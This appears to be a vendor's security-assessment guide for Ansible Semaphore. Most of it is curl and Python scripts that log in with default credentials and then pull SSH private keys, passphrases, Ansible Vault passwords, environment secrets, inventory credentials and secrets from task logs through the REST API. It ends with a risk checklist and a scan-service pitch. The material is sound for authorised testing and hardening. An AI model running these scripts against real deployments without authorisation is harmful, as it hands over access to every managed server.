Ansible Semaphore Security Testing: API Token, SSH Key Storage, Vault Password, and Inventory Credentials

Ansible Semaphore is the leading open-source web UI for managing Ansible automation, providing a centralized interface for running playbooks, managing inventories, and storing credentials. The security significance is high because Semaphore aggregates SSH private keys for all managed hosts and Ansible Vault decryption passwords into a single database — an attacker who gains Semaphore API access effectively gains the SSH keys to every server the organization manages with Ansible. Key assessment areas: the Semaphore REST API with an API token provides full access to all project secrets; GET /api/project/{id}/keys returns SSH private keys and vault passwords; GET /api/project/{id}/inventory reveals all managed hosts with their connection credentials; task execution logs contain the complete Ansible playbook output including variable values and connection attempts; and Semaphore's environment variables feature stores additional secrets as plaintext key-value pairs. This guide covers systematic Ansible Semaphore security assessment.

Table of Contents

  1. Authentication and API Token Access
  2. SSH Key and Vault Password Extraction
  3. Inventory and Task Log Analysis
  4. Ansible Semaphore Security Hardening

Authentication and API Token Access

# Ansible Semaphore — authentication and API token access
SEMAPHORE_URL="http://semaphore.example.com:3000"

# Login and get session token
SESSION=$(curl -s -c /tmp/semaphore_cookies.txt \
  -X POST "${SEMAPHORE_URL}/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"auth":"admin","password":"changeme","remember":true}' 2>/dev/null)
echo "$SESSION" | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Session: {d}')
except Exception as e:
    print(f'Response: {sys.stdin.read()[:200]}')
" 2>/dev/null

# Get current user info and API tokens
curl -s -b /tmp/semaphore_cookies.txt \
  "${SEMAPHORE_URL}/api/user/tokens" 2>/dev/null | python3 -c "
import json,sys
try:
    tokens=json.load(sys.stdin)
    print(f'API tokens: {len(tokens)}')
    for t in tokens:
        print(f'  [{t.get(\"id\")}] expired={t.get(\"expired\")} created={t.get(\"created\")}')
        if not t.get('expired'):
            print(f'  TOKEN ID: {t.get(\"id\")} (use as Authorization: Bearer token)')
except: pass
" 2>/dev/null

# List all projects the authenticated user can access
curl -s -b /tmp/semaphore_cookies.txt \
  "${SEMAPHORE_URL}/api/projects" 2>/dev/null | python3 -c "
import json,sys
projects=json.load(sys.stdin)
print(f'Projects: {len(projects)}')
for p in projects:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} alert={p.get(\"alert\")}')
" 2>/dev/null

SSH Key and Vault Password Extraction

# Semaphore key store — SSH private keys and vault passwords
SEMAPHORE_URL="http://semaphore.example.com:3000"
PROJECT_ID=1
TOKEN="your-api-token"

# Get all keys for a project — SSH private keys and vault passwords
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/keys" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
keys=json.load(sys.stdin)
print(f'Keys stored: {len(keys)}')
for k in keys:
    print(f'  [{k.get(\"id\")}] {k.get(\"name\")} type={k.get(\"type\")}')
    ssh = k.get('ssh',{})
    if ssh:
        login = ssh.get('login','')
        passphrase = ssh.get('passphrase','')
        private_key = ssh.get('private_key','')
        print(f'    SSH login: {login}')
        if passphrase:
            print(f'    Passphrase: {passphrase}')
        if private_key:
            print(f'    PRIVATE KEY: {private_key[:60]}...')
    # Vault password type
    if k.get('type') == 'vault':
        print(f'    VAULT PASSWORD: {k.get(\"string\",{}).get(\"secret\",\"\")}')
" 2>/dev/null

# Get all environment variables — additional secrets stored as env vars
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/environment" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
envs=json.load(sys.stdin)
print(f'Environments: {len(envs)}')
for e in envs:
    print(f'  [{e.get(\"id\")}] {e.get(\"name\")}')
    # Environment JSON contains all extra vars including secrets
    import re
    env_json = e.get('json','{}')
    # Extract any credential-like values
    vars_dict = json.loads(env_json) if isinstance(env_json, str) else env_json
    for key, val in vars_dict.items():
        if any(k in key.lower() for k in ['password','secret','token','key','api']):
            print(f'    {key} = {val}')
" 2>/dev/null

Inventory and Task Log Analysis

# Semaphore inventory and task logs — managed hosts and execution output
SEMAPHORE_URL="http://semaphore.example.com:3000"
PROJECT_ID=1
TOKEN="your-api-token"

# Get all inventories — reveals managed hosts and connection credentials
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/inventory" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
invs=json.load(sys.stdin)
print(f'Inventories: {len(invs)}')
for i in invs:
    print(f'  [{i.get(\"id\")}] {i.get(\"name\")} type={i.get(\"type\")}')
    # Static inventories contain host/group definitions with connection vars
    inventory_content = i.get('inventory','')
    if inventory_content:
        print(f'  Content preview: {inventory_content[:200]}')
    # ansible_password, ansible_become_pass often included in inventory vars
    ssh_key_id = i.get('ssh_key_id')
    if ssh_key_id:
        print(f'  Uses SSH key ID: {ssh_key_id}')
" 2>/dev/null

# Get task execution history and logs — contain full playbook output
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/tasks" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
tasks=json.load(sys.stdin)
print(f'Tasks in history: {len(tasks)}')
for t in tasks[:5]:
    print(f'  [{t.get(\"id\")}] template={t.get(\"template_id\")} status={t.get(\"status\")} end={t.get(\"end\")}')
" 2>/dev/null

# Retrieve full output of a specific task — may contain variable values
TASK_ID=1
curl -s "${SEMAPHORE_URL}/api/project/${PROJECT_ID}/tasks/${TASK_ID}/output" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys,re
output=json.load(sys.stdin)
full_log = ' '.join(o.get('output','') for o in output)
# Look for credential patterns in Ansible output
patterns = ['ansible_password', 'ansible_become_pass', 'vault_', 'password', 'secret']
for line in full_log.split('\n'):
    if any(p in line.lower() for p in patterns):
        print(line)
" 2>/dev/null

Ansible Semaphore Security Hardening

Ansible Semaphore Security Hardening Checklist:
Security TestMethodRisk
SSH private key extraction via APIGET /api/project/{id}/keys with valid session — returns SSH private keys stored for managed hosts in plaintext; provides SSH access to all servers in the Semaphore inventory without needing host passwordsCritical
Ansible Vault password retrievalGET /api/project/{id}/keys filtering for vault type — returns vault decryption passwords; allows decryption of all Ansible Vault-encrypted variable files and strings used in the project's playbooksCritical
Inventory credential extractionGET /api/project/{id}/inventory — returns inventory content including ansible_password, ansible_become_pass, and other connection variables; reveals all managed host addresses and their connection credentialsHigh
Environment variable secret exposureGET /api/project/{id}/environment — returns environment JSON with all extra vars including API keys, database passwords, and service credentials stored as Semaphore environment variablesHigh
Task log credential extractionGET /api/project/{id}/tasks/{task_id}/output — full playbook stdout including variable values logged at debug verbosity; grep for password, secret, key patterns in historical task logsMedium

Automate Ansible Semaphore Security Testing

Ironimo tests Ansible Semaphore deployments for SSH private key extraction via the key store API, Ansible Vault password retrieval, inventory credential and managed host enumeration, environment variable secret exposure, task execution log credential leakage, API token scope and expiry audit, LDAP/OIDC vs local authentication assessment, and network access restriction review.

Start free scan